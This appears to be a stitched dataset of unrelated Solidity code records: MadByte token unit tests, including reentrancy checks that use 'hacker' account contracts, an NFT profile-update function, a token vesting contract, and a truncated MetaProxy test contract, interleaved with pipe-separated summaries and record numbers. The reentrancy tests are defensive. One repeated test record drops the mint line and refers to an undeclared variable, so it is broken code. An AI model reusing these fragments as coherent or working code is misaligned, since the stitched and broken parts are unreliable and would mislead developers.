FoundationAccount foundation
) = getFixtureData();
// assert balances
assertEq(address(madStaking).balance, 0);
assertEq(address(minerStaking).balance, 0);
assertEq(address(foundation).balance, 0);
// mint and transfer some tokens to the accounts
uint256 madBytes = token.mint{value: 4 ether}(0);
assertEq(399_028731704364116575, madBytes);
assertEq(token.totalSupply(), madBytes);
assertEq(address(token).balance, 4 ether);
assertEq(token.getPoolBalance(), 1 ether);
assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance());
(uint256 foundationAmount, uint256 minerAmount, uint256 stakingAmount) = token.distribute();
assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance());
// assert balances
assertEq(stakingAmount, 1495500000000000000);
assertEq(minerAmount, 1495500000000000000);
assertEq(foundationAmount, 9000000000000000);
assertEq(address(madStaking).balance, 1495500000000000000);
assertEq(address(minerStaking).balance, 1495500000000000000);
assertEq(address(foundation).balance, 9000000000000000);
assertEq(address(token).balance, 1 ether);
assertEq(token.getPoolBalance(), 1 ether);
}
function testDistributeWithMoreEthereum() public {
(
MadByte token,
,
MadStakingAccount madStaking,
MinerStakingAccount minerStaking,
FoundationAccount foundation
) = getFixtureData();
// assert balances
assertEq(address(madStaking).balance, 0);
assertEq(address(minerStaking).balance, 0);
assertEq(address(foundation).balance, 0);
assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance());
// mint and transfer some tokens to the accounts
uint256 madBytes = token.mint{value: 400 ether}(0);
assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance());
assertEq(madBytes, 39894_868089775762639314);
assertEq(token.totalSupply(), madBytes);
assertEq(address(token).balance, 400 ether);
assertEq(token.getPoolBalance(), 100 ether);
assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance());
(uint256 foundationAmount, uint256 minerAmount, uint256 stakingAmount) = token.distribute();
assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance());
// assert balances
assertEq(stakingAmount, 149550000000000000000);
assertEq(minerAmount, 149550000000000000000);
assertEq(foundationAmount, 900000000000000000);
assertEq(address(madStaking).balance, 149550000000000000000);
assertEq(address(minerStaking).balance, 149550000000000000000);
assertEq(address(foundation).balance, 900000000000000000);
assertEq(address(token).balance, 100 ether);
assertEq(token.getPoolBalance(), 100 ether);
}
function testFail_DistributeReEntrant() public {
(
MadByte token,
AdminAccount admin,
MadStakingAccount madStaking,
MinerStakingAccount minerStaking,
FoundationAccount foundation
) = getFixtureData();
HackerAccountDistributeReEntry hacker = new HackerAccountDistributeReEntry();
hacker.setToken(token);
admin.setFoundation(address(hacker));
// assert balances
assertEq(address(madStaking).balance, 0);
assertEq(address(minerStaking).balance, 0);
assertEq(address(foundation).balance, 0);
// mint and transfer some tokens to the accounts
uint256 madBytes = token.mint{value: 400 ether}(0);
assertEq(madBytes, 39894_868089775762639314);
(uint256 foundationAmount, uint256 minerAmount, uint256 stakingAmount) = token.distribute();
}
function testBurn() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(user).balance, 0 ether);
uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(user)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
uint256 ethReceived = user.burn(madBytes - 100*ONE_MB);
assertEq(ethReceived, 9_749391845405398553);
assertEq(address(user).balance, ethReceived);
assertEq(token.totalSupply(), 100*ONE_MB);
assertEq(token.balanceOf(address(user)), 100*ONE_MB);
assertEq(address(token).balance, 40 ether - ethReceived);
assertEq(token.getPoolBalance(), 10 ether - ethReceived);
ethReceived = user.burn(100*ONE_MB);
assertEq(ethReceived, 10 ether - 9_749391845405398553);
assertEq(address(user).balance, 10 ether);
assertEq(address(token).balance, 30 ether);
assertEq(token.balanceOf(address(user)), 0);
assertEq(token.totalSupply(), 0);
assertEq(token.getPoolBalance(), 0);
token.distribute();
assertEq(address(token).balance, 0);
}
function testBurnBillionsOfMadBytes() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(user).balance, 0 ether);
// Investing trillions of US dollars in ethereum
uint256 madBytes = token.mintTo{value: 70_000_000_000 ether}(address(this), 0);
assertEq(madBytes, 17501004975246203818081563855);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 70_000_000_000 ether);
assertEq(token.getPoolBalance(), 17500000000000000000000000000);
uint256 ethReceived = token.burnTo(address(user), madBytes, 0);
}
function testFail_BurnMoreThanPossible() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(user).balance, 0 ether);
uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(user)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
// trying to burn more than the max supply
user.burn(madBytes + 100*ONE_MB);
}
function testFail_BurnZeroMBTokens() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(user).balance, 0 ether);
uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(user)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
user.burn(0);
}
function testBurnTo() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount userTo = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(userTo).balance, 0 ether);
uint256 madBytes = token.mint{value: 40 ether}(0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
uint256 ethReceived = token.burnTo(address(userTo), madBytes - 100*ONE_MB, 0);
assertEq(ethReceived, 9_749391845405398553);
assertEq(address(userTo).balance, ethReceived);
assertEq(token.totalSupply(), 100*ONE_MB);
assertEq(token.balanceOf(address(this)), 100*ONE_MB);
assertEq(address(token).balance, 40 ether - ethReceived);
assertEq(token.getPoolBalance(), 10 ether - ethReceived);
}
function testFail_BurnToMoreThanPossible() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount userTo = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(userTo).balance, 0 ether);
uint256 madBytes = token.mintTo{value: 40 ether}(address(this), 0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
// trying to burn more than the max supply
token.burnTo(address(userTo), madBytes + 100*ONE_MB, 0);
}
function testFail_BurnToZeroMBTokens() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount userTo = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(userTo).balance, 0 ether);
uint256 madBytes = token.mintTo{value: 40 ether}(address(this), 0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
token.burnTo(address(userTo), 0, 0);
}
function testFail_BurnToZeroAddress() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount userTo = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(userTo).balance, 0 ether);
uint256 madBytes = token.mint{value: 40 ether}(0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
token.burnTo(address(0), madBytes, 0);
}
function testFail_BurnWithBigMinEthAmount() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount userTo = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(userTo).balance, 0 ether);
uint256 madBytes = token.mintTo{value: 40 ether}(address(this), 0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
// trying to burn more than the max supply
token.burnTo(address(userTo), 100*ONE_MB, 40 ether);
}
function testBurnReEntrant() public {
( MadByte token, , , , ) = getFixtureData();
HackerAccountBurnReEntry hacker = new HackerAccountBurnReEntry();
hacker.setToken(token);
// assert balances
assertEq(token.totalSupply(), 0);
// mint some tokens to the accounts
uint256 madBytesHacker = token.mintTo{value: 40 ether}(address(hacker), 0);
assertEq(madBytesHacker, 3990_217121585928137263);
assertEq(token.balanceOf(address(hacker)), madBytesHacker);
// Transferring the excess to get only 100 MD on the hacker account to make checks easier
hacker.transfer(address(this), madBytesHacker - 100*ONE_MB);
assertEq(token.balanceOf(address(hacker)), 100*ONE_MB);
emit log_named_uint("MadNet balance hacker:", token.balanceOf(address(hacker)));
assertEq(address(token).balance, 40 ether);
assertEq(address(hacker).balance, 0 ether);
// burning with reentrancy 5 times
uint256 ethReceivedHacker = hacker.burn(20*ONE_MB);
assertEq(token.balanceOf(address(hacker)), 0*ONE_MB);
assertEq(address(hacker).balance, 250617721342188290);
emit log_named_uint("Real Hacker Balance ETH", address(hacker).balance);
// If this check fails we had a reentrancy issue
assertEq(address(token).balance, 39_749382278657811710);
// testing a honest user
( MadByte token2, , , , ) = getFixtureData();
assertEq(token2.totalSupply(), 0);
UserAccount honestUser = newUserAccount(token2);
uint256 madBytes = token2.mintTo{value: 40 ether}(address(honestUser), 0);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token2.balanceOf(address(honestUser)), madBytes);
// Transferring the excess to get only 100 MD on the hacker account to make checks easier
honestUser.transfer(address(this), madBytes - 100*ONE_MB);
assertEq(address(token2).balance, 40 ether);
assertEq(address(honestUser).balance, 0 ether);
emit log_named_uint("Initial MadNet balance honestUser:", token2.balanceOf(address(honestUser)));
uint256 totalBurnt = 0;
for (uint256 i=0; i<5; i++){
totalBurnt += honestUser.burn(20*ONE_MB);
}
// the honest user must have the same balance as the hacker
assertEq(token2.balanceOf(address(honestUser)), 0);
assertEq(address(honestUser).balance, address(hacker).balance);
assertEq(address(token2).balance, address(token).balance);
emit log_named_uint("Honest Balance ETH", address(honestUser).balance);
}
function testMarketSpreadWithMintAndBurn() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
uint256 supply = token.totalSupply();
assertEq(supply, 0);
// mint
uint256 mintedTokens = user.mint{value: 40 ether}(0);
assertEq(mintedTokens, token.balanceOf(address(user)));
// burn
uint256 receivedEther = user.burn(mintedTokens);
assertEq(receivedEther, 10 ether);
}
function test_MintAndBurnALotThanBurnEverything(uint96 amountETH) public {
if (amountETH == 0) {
return;
}
uint256 maxIt = 10;
if (amountETH <= maxIt) {
amountETH = amountETH+uint96(maxIt)**2+1;
}
TokenPure token = new TokenPure();
uint256 initialMB = token.mint(amountETH);
emit log_named_uint("Initial supply: ", token.totalSupply());
uint256 madBytes = token.mint(amountETH);
emit log_named_uint("Mb generated 2: ", madBytes);
emit log_named_uint("Initial supply2: ", token.totalSupply());
uint256 cumulativeMBBurned = 0;
uint256 cumulativeMBMinted = 0;
uint256 cumulativeETHBurned = 0;
uint256 cumulativeETHMinted = 0;
uint256 amountBurned = madBytes/maxIt;
uint256 amountMinted = amountETH/10000;
if (amountMinted == 0) {
amountMinted=1;
}
for (uint256 i=0; i<maxIt; i++) {
amountBurned = _min(amountBurned, token.totalSupply());
cumulativeETHBurned += token.burn(amountBurned);
cumulativeMBBurned += amountBurned;
cumulativeMBMinted += token.mint(amountMinted);
cumulativeETHMinted += amountMinted;
}
int256 burnedMBDiff = int256(cumulativeMBBurned)-int256(cumulativeMBMinted);
if (burnedMBDiff < 0) {
burnedMBDiff *= -1;
}
uint256 burnedETH = token.burn(token.totalSupply());
emit log("=======================================================");
emit log_named_uint("Token Balance: ", token.totalSupply());
emit log_named_uint("amountMinted ETH ", amountMinted);
emit log_named_uint("amountBurned ", amountBurned);
emit log_named_uint("cumulativeMBBurned ", cumulativeMBBurned);
emit log_named_uint("cumulativeMBMinted ", cumulativeMBMinted);
emit log_named_uint("cumulativeETHBurned", cumulativeETHBurned);
emit log_named_uint("cumulativeETHMinted", cumulativeETHMinted);
emit log_named_int("Diff MB after loop ", burnedMBDiff);
emit log_named_uint("Final ETH burned ", burnedETH);
emit log_named_uint("Token1 Balance: ", token.poolBalance());
emit log_named_uint("Token1 supply: ", token.totalSupply());
assertTrue(token.poolBalance() >= 0);
assertEq(token.totalSupply(), 0);
}
function test_ConversionMBToEthAndEthMBFunctions(uint96 amountEth) public {
( MadByte token, , , , ) = getFixtureData();
if (amountEth == 0) {
return;
}
uint256 poolBalance = amountEth;
uint256 totalSupply = token.EthtoMB(0, amountEth);
uint256 poolBalanceAfter = uint256(keccak256(abi.encodePacked(amountEth))) % amountEth;
uint256 totalSupplyAfter = _fx(poolBalanceAfter);
uint256 mb = totalSupply - totalSupplyAfter;
uint256 returnedEth = token.MBtoEth(poolBalance, totalSupply, mb);
emit log_named_uint("Diff:", poolBalance - returnedEth);
assertTrue(poolBalance - returnedEth == poolBalanceAfter);
}
function test_ConversionMBToEthAndEthMBToken(uint96 amountEth) public {
TokenPure token = new TokenPure();
if (amountEth == 0) {
return;
}
uint256 totalSupply = token.mint(amountEth);
uint256 poolBalanceAfter = uint256(keccak256(abi.encodePacked(amountEth))) % amountEth;
uint256 totalSupplyAfter = _fx(poolBalanceAfter);
uint256 mb = totalSupply - totalSupplyAfter;
uint256 poolBalanceBeforeBurn = token.poolBalance();
uint256 returnedEth = token.burn(mb);
emit log_named_uint("Tt supply after", totalSupplyAfter);
emit log_named_uint("MB burned ", mb);
emit log_named_uint("Pool balance ", poolBalanceBeforeBurn);
emit log_named_uint("Pool After ", poolBalanceAfter);
emit log_named_uint("returnedEth ", returnedEth);
emit log_named_uint("Diff ", poolBalanceBeforeBurn - returnedEth);
emit log_named_uint("ExpectedDiff ", poolBalanceAfter);
emit log_named_int("Delta ", int256(poolBalanceAfter) - int256(poolBalanceBeforeBurn - returnedEth));
assertTrue(poolBalanceBeforeBurn - returnedEth == poolBalanceAfter);
}
function testInvariantHold() public {
/*
tests if the invariant holds with mint and burn:
ethIn / burn(mint(ethIn)) >= marketSpread;
*/
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
UserAccount user2 = newUserAccount(token);
uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0);
uint256 ethReceived = user.burn(madBytes);
assertTrue(40 ether / ethReceived >= 4);
madBytes = token.mintTo{value: 40 ether}(address(user2), 0);
ethReceived = user2.burn(madBytes);
assertTrue(40 ether / ethReceived >= 4);
madBytes = token.mintTo{value: 40 ether}(address(user), 0);
uint256 madBytes2 = token.mintTo{value: 40 ether}(address(user2), 0);
uint256 ethReceived2 = user2.burn(madBytes2);
ethReceived = user.burn(madBytes);
emit log_named_uint("inv1.1:", 40 ether / ethReceived);
emit log_named_uint("inv1.2:", 40 ether / ethReceived2);
assertTrue(40 ether / ethReceived >= 4);
assertTrue(40 ether / ethReceived2 >= 4);
// amounts that are not multiple of 4
madBytes = token.mintTo{value: 53 ether}(address(user), 0);
madBytes2 = token.mintTo{value: 53 ether}(address(user2), 0);
ethReceived2 = user2.burn(madBytes2);
ethReceived = user.burn(madBytes);
emit log_named_uint("inv1.1:", 53 ether / ethReceived);
emit log_named_uint("inv1.2:", 53 ether / ethReceived2);
assertTrue(53 ether / ethReceived >= 4);
assertTrue(53 ether / ethReceived2 >= 4);
}
function testInvariantHold2() public {
/*
tests if the invariant holds with mint and burn:
ethIn / burn(mint(ethIn)) >= marketSpread;
*/
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
UserAccount user2 = newUserAccount(token);
uint256 madBytes = token.mintTo{value: 4*2000 ether}(address(user), 0);
uint256 ethReceived = user.burn(madBytes);
emit log_named_uint("inv3:", 2000 ether / ethReceived);
assertTrue(4*2000 ether / ethReceived >= 4);
}
}
|
trying to burn more than the max supply
|
function testFail_BurnToMoreThanPossible() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount userTo = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(userTo).balance, 0 ether);
assertEq(madBytes, 3990_217121585928137263);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 40 ether);
assertEq(token.getPoolBalance(), 10 ether);
token.burnTo(address(userTo), madBytes + 100*ONE_MB, 0);
}
| 15,844,146 |
./partial_match/97/0xA4eDF58f16B8c3613368A34f05B87728942D98F3/sources/CombustProfile.sol
|
To update user profile. Callable only by registered users./ Interface to deposit the NFT contract Transfer token to new address Transfer COMBUST token to this address Interface to deposit the NFT contract Transfer old token back to the owner Update mapping in storage
|
function updateProfile(address _nftAddress, uint256 _tokenId) external {
require(hasRegistered[_msgSender()], "Has not registered");
require(hasRole(NFT_ROLE, _nftAddress), "NFT address invalid");
require(users[_msgSender()].isActive, "User not active");
address currentAddress = users[_msgSender()].nftAddress;
uint256 currentTokenId = users[_msgSender()].tokenId;
IERC721 nftNewToken = IERC721(_nftAddress);
require(
_msgSender() == nftNewToken.ownerOf(_tokenId),
"Only NFT owner can update"
);
nftNewToken.safeTransferFrom(_msgSender(), address(this), _tokenId);
cmbstToken.safeTransferFrom(
_msgSender(),
address(this),
numberCombustToUpdate
);
IERC721 nftCurrentToken = IERC721(currentAddress);
nftCurrentToken.safeTransferFrom(
address(this),
_msgSender(),
currentTokenId
);
users[_msgSender()].nftAddress = _nftAddress;
users[_msgSender()].tokenId = _tokenId;
emit UserUpdate(_msgSender(), _nftAddress, _tokenId);
}
| 11,382,268 |
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./IVesting.sol";
/**
* @title Vesting contract with batch lock and claim possibility,
* support only target token, user can claim and get actual
* reward data in range dependant on selected lock index.
*/
contract Vesting is IVesting, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public constant MAX_LOCK_LENGTH = 100;
IERC20 public immutable token;
uint256 public immutable startAt;
struct LockBatchInput {
address account;
uint256[] unlockAt;
uint256[] amounts;
}
struct Lock {
uint256[] amounts;
uint256[] unlockAt;
uint256 released;
}
struct Balance {
Lock[] locks;
}
mapping(address => Balance) private _balances;
event TokensVested(address indexed _to, uint256 _amount);
event TokensClaimed(address indexed _beneficiary, uint256 _amount);
constructor(IERC20 _baseToken, uint256 _startAt) {
token = _baseToken;
startAt = _startAt;
}
/**
* @dev Returns {_participant} vesting plan by {_index}.
*/
function getLocks(address _participant, uint256 _index)
external
view
override
returns (uint256[] memory amounts, uint256[] memory unlocks)
{
Lock memory _lock = _balances[_participant].locks[_index];
amounts = _lock.amounts;
unlocks = _lock.unlockAt;
}
/**
* @dev Returns amount of vesting plans by {_participant} address.
*/
function getLocksLength(address _participant)
external
view
override
returns (uint256)
{
return _balances[_participant].locks.length;
}
/**
* @dev Returns vesting plan {_lockIndex} length by {_participant} address.
*/
function getItemsLengthByLockIndex(address _participant, uint256 _lockIndex)
external
view
override
returns (uint256)
{
require(
_balances[_participant].locks.length > _lockIndex,
"Index not exist"
);
return _balances[_participant].locks[_lockIndex].amounts.length;
}
/**
* @dev Locking {_amounts} with {_unlockAt} date for specific {_account}.
*/
function lock(
address _account,
uint256[] memory _unlockAt,
uint256[] memory _amounts
) external override onlyOwner returns (uint256 totalAmount) {
require(_account != address(0), "Zero address");
require(
_unlockAt.length == _amounts.length &&
_unlockAt.length <= MAX_LOCK_LENGTH,
"Wrong array length"
);
require(_unlockAt.length != 0, "Zero array length");
for (uint256 i = 0; i < _unlockAt.length; i++) {
if (i == 0) {
require(_unlockAt[0] >= startAt, "Early unlock");
}
if (i > 0) {
if (_unlockAt[i - 1] >= _unlockAt[i]) {
require(false, "Timeline violation");
}
}
totalAmount += _amounts[i];
}
token.safeTransferFrom(msg.sender, address(this), totalAmount);
_balances[_account].locks.push(
Lock({amounts: _amounts, unlockAt: _unlockAt, released: 0})
);
emit TokensVested(_account, totalAmount);
}
/**
* @dev Same as {Vesting.lock}, but in the batches.
*/
function lockBatch(LockBatchInput[] memory _input)
external
onlyOwner
returns (uint256 totalAmount)
{
uint256 inputsLen = _input.length;
require(inputsLen != 0, "Empty input data");
uint256 lockLen;
uint256 i;
uint256 ii;
for (i; i < inputsLen; i++) {
if (_input[i].account == address(0)) {
require(false, "Zero address");
}
if (
_input[i].amounts.length == 0 || _input[i].unlockAt.length == 0
) {
require(false, "Zero array length");
}
if (
_input[i].unlockAt.length != _input[i].amounts.length ||
_input[i].unlockAt.length > MAX_LOCK_LENGTH
) {
require(false, "Wrong array length");
}
lockLen = _input[i].unlockAt.length;
for (ii; ii < lockLen; ii++) {
if (ii == 0) {
require(_input[i].unlockAt[0] >= startAt, "Early unlock");
}
if (ii > 0) {
if (_input[i].unlockAt[ii - 1] >= _input[i].unlockAt[ii]) {
require(false, "Timeline violation");
}
}
totalAmount += _input[i].amounts[ii];
}
ii = 0;
}
token.safeTransferFrom(msg.sender, address(this), totalAmount);
uint256 amount;
uint256 l;
i = 0;
for (i; i < inputsLen; i++) {
_balances[_input[i].account].locks.push(
Lock({
amounts: _input[i].amounts,
unlockAt: _input[i].unlockAt,
released: 0
})
);
l = _input[i].amounts.length;
ii = 0;
if (l > 1) {
for (ii; ii < l; ii++) {
amount += _input[i].amounts[ii];
if (ii == l - 1) {
emit TokensVested(_input[i].account, amount);
amount = 0;
}
}
} else {
emit TokensVested(_input[i].account, _input[i].amounts[0]);
}
}
}
/**
* @dev Returns next unlock timestamp by all locks, if return zero,
* no time points available.
*/
function getNextUnlock(address _participant)
external
view
override
returns (uint256 timestamp)
{
uint256 locksLen = _balances[_participant].locks.length;
uint256 currentUnlock;
uint256 i;
for (i; i < locksLen; i++) {
currentUnlock = _getNextUnlock(_participant, i);
if (currentUnlock != 0) {
if (timestamp == 0) {
timestamp = currentUnlock;
} else {
if (currentUnlock < timestamp) {
timestamp = currentUnlock;
}
}
}
}
}
/**
* @dev Returns next unlock timestamp by {_lockIndex}.
*/
function getNextUnlockByIndex(address _participant, uint256 _lockIndex)
external
view
override
returns (uint256 timestamp)
{
uint256 locksLen = _balances[_participant].locks.length;
require(locksLen > _lockIndex, "Index not exist");
timestamp = _getNextUnlock(_participant, _lockIndex);
}
/**
* @dev Returns total pending reward by {_participant} address.
*/
function pendingReward(address _participant)
external
view
override
returns (uint256 reward)
{
reward = _pendingReward(
_participant,
0,
_balances[_participant].locks.length
);
}
/**
* @dev Returns pending reward by {_participant} address in range.
*/
function pendingRewardInRange(
address _participant,
uint256 _from,
uint256 _to
) external view override returns (uint256 reward) {
reward = _pendingReward(_participant, _from, _to);
}
/**
* @dev Claim available reward.
*/
function claim(address _participant)
external
override
nonReentrant
returns (uint256 claimed)
{
claimed = _claim(_participant, 0, _balances[_participant].locks.length);
}
/**
* @dev Claim available reward in range.
*/
function claimInRange(
address _participant,
uint256 _from,
uint256 _to
) external override nonReentrant returns (uint256 claimed) {
claimed = _claim(_participant, _from, _to);
}
function _pendingReward(
address _participant,
uint256 _from,
uint256 _to
) internal view returns (uint256 reward) {
uint256 amount;
uint256 released;
uint256 i = _from;
uint256 ii;
for (i; i < _to; i++) {
uint256 len = _balances[_participant].locks[i].amounts.length;
for (ii; ii < len; ii++) {
if (
block.timestamp >=
_balances[_participant].locks[i].unlockAt[ii]
) {
amount += _balances[_participant].locks[i].amounts[ii];
}
}
released += _balances[_participant].locks[i].released;
ii = 0;
}
if (amount >= released) {
reward = amount - released;
}
}
function _claim(
address _participant,
uint256 _from,
uint256 _to
) internal returns (uint256 claimed) {
uint256 amount;
uint256 released;
uint256 i = _from;
uint256 ii;
for (i; i < _to; i++) {
uint256 toRelease;
uint256 len = _balances[_participant].locks[i].amounts.length;
for (ii; ii < len; ii++) {
if (
block.timestamp >=
_balances[_participant].locks[i].unlockAt[ii]
) {
amount += _balances[_participant].locks[i].amounts[ii];
toRelease += _balances[_participant].locks[i].amounts[ii];
}
}
released += _balances[_participant].locks[i].released;
if (
toRelease > 0 &&
_balances[_participant].locks[i].released < toRelease
) {
_balances[_participant].locks[i].released = toRelease;
}
ii = 0;
}
require(amount >= released, "Nothing to claim");
claimed = amount - released;
require(claimed > 0, "Zero claim");
token.safeTransfer(_participant, claimed);
emit TokensClaimed(_participant, claimed);
}
function _getNextUnlock(address _participant, uint256 _lockIndex)
internal
view
returns (uint256 timestamp)
{
Lock memory _lock = _balances[_participant].locks[_lockIndex];
uint256 lockLen = _lock.unlockAt.length;
uint256 i;
for (i; i < lockLen; i++) {
if (block.timestamp < _lock.unlockAt[i]) {
timestamp = _lock.unlockAt[i];
return timestamp;
}
}
}
}
|
Returns {_participant} vesting plan by {_index}./
|
function getLocks(address _participant, uint256 _index)
external
view
override
returns (uint256[] memory amounts, uint256[] memory unlocks)
{
Lock memory _lock = _balances[_participant].locks[_index];
amounts = _lock.amounts;
unlocks = _lock.unlockAt;
}
| 15,832,058 |
pragma solidity >=0.7.6;
import './MetaProxyFactory.sol';
/// @notice This contract includes test cases for the MetaProxy standard.
contract MetaProxyTest is MetaProxyFactory {
uint256 public someValue;
event SomeEvent(
address a,
uint256 b,
uint256[] c
);
event SomeData(bytes data);
/// @notice One-time initializer.
function init () external payable {
require(someValue == 0);
(, uint256 b, ) = MetaProxyTest(this).getMetadataViaCall();
require(b > 0);
someValue = b;
}
/// @notice MetaProxy construction via abi encoded bytes.
/// Arguments are reversed for testing purposes.
function createFromBytes (
uint256[] calldata c,
uint256 b,
address a
) external payable returns (address proxy) {
// creates a new proxy where the metadata is the result of abi.encode()
proxy = MetaProxyFactory._metaProxyFromBytes(address(this), abi.encode(a, b, c));
require(proxy != address(0));
// optional one-time setup, a constructor() substitute
MetaProxyTest(proxy).init{ value: msg.value }();
}
/// @notice MetaProxy construction via calldata.
function createFromCalldata (
address a,
uint256 b,
uint256[] calldata c
) external payable returns (address proxy) {
// creates a new proxy where the metadata is everything after the 4th byte from calldata.
proxy = MetaProxyFactory._metaProxyFromCalldata(address(this));
require(proxy != address(0));
// optional one-time setup, a constructor() substitute
MetaProxyTest(proxy).init{ value: msg.value }();
}
/// @notice Returns the metadata of this (MetaProxy) contract.
/// Only relevant with contracts created via the MetaProxy standard.
/// @dev This function is aimed to be invoked with- & without a call.
function getMetadataWithoutCall () public pure returns (
address a,
uint256 b,
uint256[] memory c
) {
bytes memory data;
assembly {
let posOfMetadataSize := sub(calldatasize(), 32)
let size := calldataload(posOfMetadataSize)
let dataPtr := sub(posOfMetadataSize, size)
data := mload(64)
// increment free memory pointer by metadata size + 32 bytes (length)
mstore(64, add(data, add(size, 32)))
mstore(data, size)
let memPtr := add(data, 32)
calldatacopy(memPtr, dataPtr, size)
}
return abi.decode(data, (address, uint256, uint256[]));
}
/// @notice Returns the metadata of this (MetaProxy) contract.
/// Only relevant with contracts created via the MetaProxy standard.
/// @dev This function is aimed to to be invoked via a call.
function getMetadataViaCall () public pure returns (
address a,
uint256 b,
uint256[] memory c
) {
assembly {
let posOfMetadataSize := sub(calldatasize(), 32)
let size := calldataload(posOfMetadataSize)
let dataPtr := sub(posOfMetadataSize, size)
calldatacopy(0, dataPtr, size)
return(0, size)
}
}
/// @notice Runs all test cases
function testAll () external payable {
(address a, uint256 b, uint256[] memory c) = abc();
MetaProxyTest self = MetaProxyTest(address(this));
{
address proxy = self.createFromCalldata(a, b, c);
testProxy(proxy);
}
{
address proxy = self.createFromBytes(c, b, a);
testProxy(proxy);
}
}
function abc () public returns (address a, uint256 b, uint256[] memory c) {
a = address(this);
b = 0xc0ffe;
c = new uint256[](9);
}
function testProxy (address _proxy) public {
require(_proxy != address(0));
(address a, uint256 b, uint256[] memory c) = abc();
MetaProxyTest proxy = MetaProxyTest(_proxy);
{
(address x, uint256 y, uint256[] memory z) = proxy.getMetadataViaCall();
require(a == x && b == y && keccak256(abi.encode(c)) == keccak256(abi.encode(z)));
}
{
(address x, uint256 y, uint256[] memory z) = proxy.getMetadataWithoutCall();
require(a == x && b == y && keccak256(abi.encode(c)) == keccak256(abi.encode(z)));
}
require(proxy.someValue() == b);
require(proxy.testReturnSingle() == b);
bytes memory _bytes = hex'68656c6c6f20776f726c64';
(uint256 x, uint256[] memory y) = proxy.testReturnMulti(_bytes, uint160(address(this)) + b);
require(x == b);
require(y.length == c.length);
